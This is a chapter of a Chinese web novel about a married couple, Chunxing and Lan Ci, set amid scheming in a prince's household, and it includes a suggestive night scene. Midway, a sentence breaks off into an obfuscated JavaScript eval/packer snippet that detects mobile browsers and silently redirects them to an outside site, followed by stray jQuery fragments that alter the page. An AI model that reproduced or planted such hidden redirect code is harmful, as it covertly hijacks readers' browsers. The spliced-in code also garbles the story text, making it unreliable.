她低下头，才发觉现在的姿势多么不堪入目。
她赤着双足，没穿小衣，只着一身薄如蝉翼的竹叶色单衣，□□跨坐在他身上，一只胳膊抱住他的后背。
兰辞握住她的手腕，他余光掠过被她浇灭的熏香，声音很轻：“你以为我中毒了。”
他试探着问：“你在关心我？”
春杏恨不得给自己一巴掌。她究竟是怎么想的，怎么会觉得，岁岁会在这个时候下这么重的毒？
慌乱中，她口不择言地解释道：“我只是怕连累岁岁！”
兰辞安静地看着她，几乎是在冷眼旁观她的关心则乱。他没有松手，神色却软和下来，一瞬也不动的盯着春杏发红的眼。
这时候再说什么，都是多余的。
四目相对，她难堪极了，飞快拢着衣衫，起身要走。
兰辞稍稍用力，便将人扯回来，他近乎恳求：“可以告诉我，你是怎么想的吗。”
春杏张了张嘴，咬牙道：“我心里接纳不了，自己嫁给了这样的人。”
“所以你有什么打算？”
春杏眨着眼，不让眼泪掉下来：“我也不知道。”
他故作不在意道：“我不如你所想，你便厌弃我了，是么。”
春杏没有吭声，但她的睫毛不安地动了动。
兰辞声音冷冽，提醒她：“最初，你或许是因为喜欢我，才与我成婚，但我不是。我们是有交换的，你还记得吗？”
春杏愣了愣，不知是被他那句话触动，眼泪一下子滚落，她喃喃：“我记得。”
“你记得就好。”
得到这句话，他似乎有了安全感，低下头埋在她颈间吸了口气，熟悉的香气勾起了许多旖旎的回忆。
他捏着春杏的下巴，侧过脸含住她略显苍白的唇。
垂目看着他锋锐的眉眼，春杏身子颤了颤，像是破罐子破摔，放纵自己回应了他。
耳房里不像厢房那么暖，兰辞用被子裹住她，冰凉的手指在漆黑狭窄的空间里，摸索着寸寸肌肤。
从上一回他学会了亲吻之后，就发现唇舌交缠的快乐是夫妻之事所不能替代的。
他可以一边强势地掌控她呼吸的节奏，一边感受指腹下轻颤的身体，每一点细微的回应。她透不过气，就变得格外柔弱诚实，会攀着他轻声啜泣。若是放过她一会儿，她似乎想起他是“坏人”这件事，便要维护最后一点尊严似的，扯住自己单薄的寝衣。
爱之深，悔之切。
他没有想过，同一个人会在这么短的时间里，给他如此极端又刻骨铭心的情绪反馈。
他带着旁观者的新奇，去享受春杏为了他痛苦与挣扎。又不可自抑地被她吸引，并分分秒秒都为自己配不上这样浓烈的感情而心慌不安。
天快亮时，雪梅瞄着有人出去了。她经验丰富，便提着热水和手巾从厢房进去，免得要多跑一趟。
耳房的挂毯放下来了，她伸头一看，春杏裹着被子缩在小榻上。
她小声道：“娘子我进来啦，给你擦擦身。”
春杏哼了一声。
“娘子，要不咱去厢房睡，时候还早……”
雪梅掀开被子一角，吓了一大跳，没能把话说完。
手腕和小腿上满是齿痕。单衣虽然还穿着，但也被撕坏了。
有大床不睡，专程挤着这小竹榻。
啧啧。这些权贵们的癖好真是独特。
也难怪一开始郡王妃怀疑，这位二夫人是拿钱办事过来占位置的假夫人，后来，再没提过这说辞。
春杏出了一口气：“我自己来吧，你放那里。”
雪梅得了这句话，如获大释：“那奴再去烧些热水，还去把厢房炭火翻一翻。”
兰辞几乎是落荒而逃的。他没有立刻回官署，而是策马去了京郊。
他在京郊的坟堆里，朝着野坟烧了些黄纸，拜了几拜，转而去了附近一处普通农庄。
开门的是个与兰辞年纪相仿的少年，他听见开门声，过来一看是谁，揉着眼睛道：“兰四厢，这么大清早的，你怎么来了？”
“打扰了，”兰辞给他塞了个装金饼的钱袋：“我来看看义母，说几句话就走。”
少年推辞道：“我和阿娘住这边，没什么花销，邻里乡亲的，都挺照顾我们，这么多钱还被贼惦记。”
兰辞只好翻了些碎银子出来：“那给小妹小弟做两身新衣裳，马上过年了。”
邱将军的遗孀章夫人惯来是早起的，闻声应道：“鹤林来了？”
兰辞鼻子一酸：“哎，是我。”
章夫人一眼就看出孩子遇上事了，但她是晓得他性子的，因此也不直接问，而是让大儿子备了热汤热馍，哄兰辞吃上了，才同他道：“最近在忙什么？”
兰辞喝了一口汤：“当初主理义父案子的莫大人犯了事，在核他近几年经手的所有账目卷宗和人事任免。”
章夫人脸色变了：“鹤林，兰太师知道吗？”
兰辞道：“是他让我接手的。”
章夫人半晌说不出话来，忍着泪道：“兰太师是在给你机会泄愤，也是在试探你。你万事小心，一切依他吩咐行事，切莫露出一丝忤逆啊……”
兰辞眼中露出一丝冷意，笑了笑。
“我知道你心有不甘，”章夫人低声道：“但是鹤林，放下吧，放下。死者已矣，我们还得活下去。”
她见兰辞不说话，轻轻拍他的后背：“衣冠南渡，不是承袭旧事，是新朝初建，哪个朝代新建，杀几个功臣不是司空见惯呢。官家免了我们全家流放，容许你和六殿下接济我们，已经是恩典了。若是他泉下有知，也不会希望你再有怨忿。”
兰辞望着她：“您真的可以放下吗？”
章夫人挤出一个笑容，泪水却从她眼角的皱纹横流：“我可以的。我还有三儿两女需要抚养。鹤林，听说你也成亲了，妻子是祝将军家的女儿……是那个叫知微的吗？”
说起春杏，兰辞眼神柔软下来：“她叫祝鸣漪，是崔姨的亲生女儿。”
“好，好，”章夫人道：“那她待你好不好，是个怎么样的人？”
兰辞笑了笑：“她待我很好很好。”
“是个……嫉恶如仇的人。”
章夫人忍不住笑了，无需多言，她看得出义子对妻子的迷恋：“好，那就好。以后可以带她来看看我吗？”
兰辞应道：“好。”
走时章夫人又给他塞了些小瓷瓶装的腌萝卜，说是附近的邻居送的：“鹤林，你还年轻，等你将来有了自己的孩子，就明白委曲求全是最好的结果了。”
兰辞捏着瓷瓶，怔了怔。自己的孩子，他和春杏的。
——
春杏头昏脑涨地擦洗完身子换了身衣裳，摸到厢房，在带来的妆奁里到处一个小瓷瓶。她拨开塞子，刺鼻的气味涌出来，她深深地吸了几口气，犹觉得不够，干脆倒了一颗出来。
药丸个头不小，春杏掂量了一下，担心吃出人命来，便掐了半颗服下。
做完这一切，她才总算安心，去厢房睡觉了。
今儿是定好要离开杨夫人宅子，回王府的。雪梅收拾好东西，见换值的小月来了，就去找郡王妃汇报这两日所见所得。
“这才几日，二郎君就跑来两回，”雪梅道：“不过倒还守规矩，知道后院不好露脸，天没亮就走了。”
郡王妃吃着早茶：“来干嘛的？”
雪梅脸红一笑：“男男女女的，那还能干嘛。难怪您往世子房里塞通房他不要，正是如胶似漆的时候。”
郡王妃脸色难看极了，两个人都年轻力壮的。尤其那个庄子里长大的，不仅对二郎言听计从死心塌地，沈三还说她力气大的像牛。照这样来，二房的孩子也就快了，她就是今晚把雪梅配给大郎君，也赶不上了。
祝知微在旁看着，虽然没听见两人在说什么，但也猜得到郡王妃此时最担心的是什么。
她端着点心，送到郡王妃面前，跟着沈三的称呼：“姨母，您现在不必忧心那些小事。大理寺的案子涉案人员复杂，难免牵扯立储，至于鹤林的家事……”
“且不说八字没一撇，就是从怀孕到生，也有那么多个月。这期间若是战局变动，鹤林大抵是要外调去江淮要冲戍边，他的夫人跟着去，路上指不定发生什么，若是留在王府……”她做了个掐指一算的手势，开玩笑道：“我看，这孩子活不成。”
郡王妃接过来咬了口：“也对。”
春杏还不知道一群人，都在各怀鬼胎的打着她肚子里那个还不存在，就已经死过一遍的孩子。晚些时候起来，小月小声道：“雀姐姐来了。”
“你怎么进来的？”春杏惊讶地拉住她：“一切都还好吗？”
“都好的，娘子认得沈风陵吧？”雀儿悄声道：“他竟然是市舶使流落在外的独子，如今科举入仕在望，也被南方士绅顾家认可，大抵殿试之后就要认回去当继承人了。这回杨夫人也邀他来与年轻官眷们认识，他参加了第一日的诗词游戏，今日特意带我来走了拜谢的礼节。”
春杏讶异：“沈哥哥？”
她之前听哥哥说过，沈郎君母亲原本是个渔家女，被个有钱人骗做了外室生下的，让她绝口不要提他父亲，免得难堪。
雀儿点头：“是啊。”
春杏消化不过来，难怪那天遇到他。她见雀儿胖了一点，气色也好，又问：“在胡凌云那里可住的惯？”
雀儿笑道：“好的，他们都尊重我，说我是高门大户出来的小嬷嬷，懂得多，将我当家里的阿姐。胡解元读书特别用功，好多同窗来家里同他请教，沈举人让我假装他的婢女，带我去你家里见了林娘子和胡宝络，宝络恢复的特别好，脸色都红润润的。”
她看着春杏：“娘子，认识他们之后，我就明白，你其实一点都不喜欢在循王府的生活。好在兰世子待你真心实意，将来若是能分家出府，自立门户，那您的日子就好过了。”
春杏对这句话有些回避：“嗯。这一届春闱日子早，满打满算也就不到一个月了。”
雀儿没读懂她言外之意，还安慰道：“娘子，大家的日子都是越过越好，你受的委屈，都没有白受。”
春杏苦涩一笑：“好啦，回去吧，被人看到不好。”
回王府后便忙活着年关的杂务，春杏打那以后，到正月前都没见兰辞。她没问，有一回小月主动同她提起，也被她打断了。
王府的裁缝过来量春衣，掐着春杏的腰道：“二夫人清减了。”
小月担忧地看着她，她抬头看着外面：“天太冷了，等春天就好了。”
正月十五一过，与她住的小院隔着一座花园和凉亭处，有个空置的小院子在打扫。
雪梅进出的时候瞧见，凑过去问：“什么人要来住啊？”
“天气太冷了，郡王妃不乐意出门，又嫌闷，”容平道：“所以沈三娘子带几个小姐妹，过来小住，陪郡王妃解解闷。”
雪梅一溜烟回去，将这个消息告诉了在院子里晒太阳的春杏和小月。
见春杏没表现出什么反应，雪梅忍不住道：“二夫人，听说你的假姐姐也要来。”
春杏知道她说的是祝知微，也知道她在意的是什么：“母亲欣赏她，机会成熟，还是想让她嫁进王府的。”
雪梅心里不是滋味，脸一下子垮了。
但她们住进来时，雪梅还是时不时去外面看热闹。
小月趴在墙头上，担忧道：“雪梅和祝知微凑一块了，叽里咕噜不知道说什么！”
“没什么可担心的，”春杏道：“雪梅对祝知微的态度很复杂的，既嫉妒她可以被主母选中做儿媳，又觉得将来万一成了大郎君的姨娘，可能要与她共侍一夫，需要仰仗她吃饭。我这个假姐姐性子倨傲，自诩厌蠢，是不会给她好脸色的。”
雪梅搬东西路过，与祝知微打了个照面，便止步道了声万福：“祝娘子好久不见，又漂亮了。”
祝知微见雪梅对她友好，便有意与她攀谈了几句，还给她透露了郡王妃那边的信息：“王妃那边，有个懂医术的女使很得宠，前几日还医好了四娘子的头疼，风头都要盖过雅兰了。你下回去，别拜错了码头。”
雪梅闻言千恩万谢：“多谢娘子提点。”
祝知微自然不是白告诉她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196791|172361||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，她投桃求李道：“你院里事情还好做吗？近来兰世子也没怎么回来吧，我听说，过年也就年三十回来吃了顿饭，又回去了。”
雪梅实话实说道：“悄悄回来过几次的，我看兰世子就是馋她身子，每次回来，房里动静都大得很。”
祝知微脸色渐渐难看。
雪梅是从小就认得她和兰辞的，并不认为她对兰辞有什么念头，以为她只是单纯与春杏较劲，便讨好地道：“二夫人也就生了漂亮皮囊，略胜过你一些。学识气度那是不及你万分之一的。”
马屁拍在了马腿上，祝知微面色铁青地看着她。
雪梅全然不会看人脸色，还想着趁机攀附几句：“听说祝娘子一手卜算的能力可窥天机，能不能帮我算算？”
祝知微冷言冷语道：“不用算了，你最后是笨死的。”
小月原本听了春杏的话还将信将疑，见雪梅黑着一张脸，垂头丧气地回来，忍着笑，故作不解道：“梅姐姐怎么啦？好像不高兴。”
雪梅敢怒不敢言：“没事，我就是……看表小姐那几个人住进来，担心咱们夫人吃亏。”
小月顺着她道：“也是啊。”
雪梅担心的有理，但春杏似乎性情大变，既不争抢好强，也不计较时不时郡王妃和祝知微发来若有似无的挑衅。
除了初一十五的请安，她几乎足不出户，有一回门都推开了，看架势是要出门，迎面遇上祝知微。
春杏看见是她，多一事不如少一事，干脆退后几步，将门关上了。
沈三一肚子的小把戏用不上，一拳打在棉花上，祝知微劝她：“又能躲到什么时候呢，总要出来的。”
外面科考春闱那日正好初一，郡王妃趁着儿媳女儿们请安的时候，也要王府里的小娘子们来交功课。
春杏这些日子没闲着，练熟了两手曲子，女则女戒也抄的不错，勉强没有出丑。
沈三在杨夫人宴请那回，已经摸透了春杏的弱点，知道她基础不好，最禁不起耍花样，便吵着闹着要临场发挥。
郡王妃闹不过她：“你想怎么玩啊？”
沈三道：“其实很简单的。姨母你出个题，我们抓阄，画画提字或是临时弹一曲。”
兰观楼不同意，她讨厌弹琴：“知道你厉害了什么都会！我想自己选不行吗？”
郡王妃笑道：“自己选，本来就是闹着玩的。”
她看了春杏一眼，似乎是额外照顾她：“不过二郎媳妇终归起步慢些，你们要让着她，她选吧。”
郡王妃说得对，她的确起步晚了十几年。从在将军府开始，她深知这个道理，只选了其中一项勤学苦练，那就是书法。
此刻她别无选择：“我提字吧。”
不说写得多好，起码是拿得出手的。
祝知微笑嘻嘻道：“那我也选提字。”
郡王妃宠溺笑道：“你啊你啊！那这样吧，主题你来替我想几个。”
祝知微笑着站起来：“那我想想。雅兰，翠竹，雪梅……还有……”
她一合掌：“春杏！”
春杏眼皮一跳，没有抬头。
郡王妃笑道：“四时美景，好，你们自己选吧。”
沈三与兰观楼选了作画，四娘子扶荔选了弹琴。
不知是巧合，还是两人有意切磋，沈三与兰观楼，都选杏花为题。
都画得很好。
一副疏懒空灵，较多留白。另一副则热切烂漫，生机勃勃。
春杏很喜欢后面那副，等画干了，她提笔在空白处写了首自己比较熟悉的诗，写的很认真。
那画是兰观楼画的，她哼道：“算你有点眼光，字也不算丑。”
祝知微看了一眼春杏提的诗，笑道：“鸣漪提得这首诗，我这里也能用。”
她说罢提笔，动作行云流水，一气呵成。
众人凑上去看，若不是同一首诗也罢了，偏偏这同样的内容。
沈三怪道：“都是……刘盈瑞的字啊？”
祝知微道：“是啊，我小时候与鹤林在宫中伴读，是刘先生手把手，为我们开蒙的。”
沈三道：“哦，那二夫人……”
春杏勉强一笑：“我是自己练的。”
沈三小声嘀咕：“出山弟子和野弟子还就是不一样啊。”
春杏看了一眼两幅画上的字，的确有着很大的差距。
她是对着字帖练的，由结果得过程，很多地方发力不对，整体看起来就差了韵味。
技不如人，她没反驳，也没说话。女使们打圆场说都好都好，这事儿也就过去了。
兰辞回小院扑了个空，雪梅道：“二郎君安，夫人去主母那里请安啦。”
兰辞想起今日是初一：“那我也去吧。”
也顺便将人接回来。
他去时藻秾苑里热闹得很，翠竹道：“世子来请安的吧，沈家和祝家两位表姑娘在里面呢。”
兰辞点头：“那等她们走了，我再进去。”
不一会儿女使出来通报，说小娘子们从小门出去了。
兰辞感觉白来了：“二夫人也走了？”
女使道：“二夫人还在里面奉茶。”
兰辞掀开衣摆跨进门槛，他阔步进去，远远看见春杏穿着一身粉白色的半袖罗裙，衬得一张脸白里透红。她跪在郡王妃腿边，她的继母则安然享受着，接过她捧上来的点心，吃了一小口。
兰辞行了跪礼，看见春杏低眉顺眼的模样，酸涩地绞作一团。
“起来吧，”郡王妃让女使捧了两幅画出来道：“鹤林选一副吧，回去挂着。”
兰辞看了一眼，两幅画都丑，他拒绝：“不必了，母亲自己留着吧。”
郡王妃也不强迫他：“那你给我挑一副，我都喜欢，挑不出来。”
春杏低着头，没有看两个人，她听见郡王妃道：“尤其是看看，哪一副字写得更好。”
兰辞几乎一瞬都未犹豫：“左边的更好。”
左边的字是祝知微写的。
春杏勾了勾唇，她也不知道自己在期待什么。没有人是傻子，谁写的好，不是一眼就看得出来吗。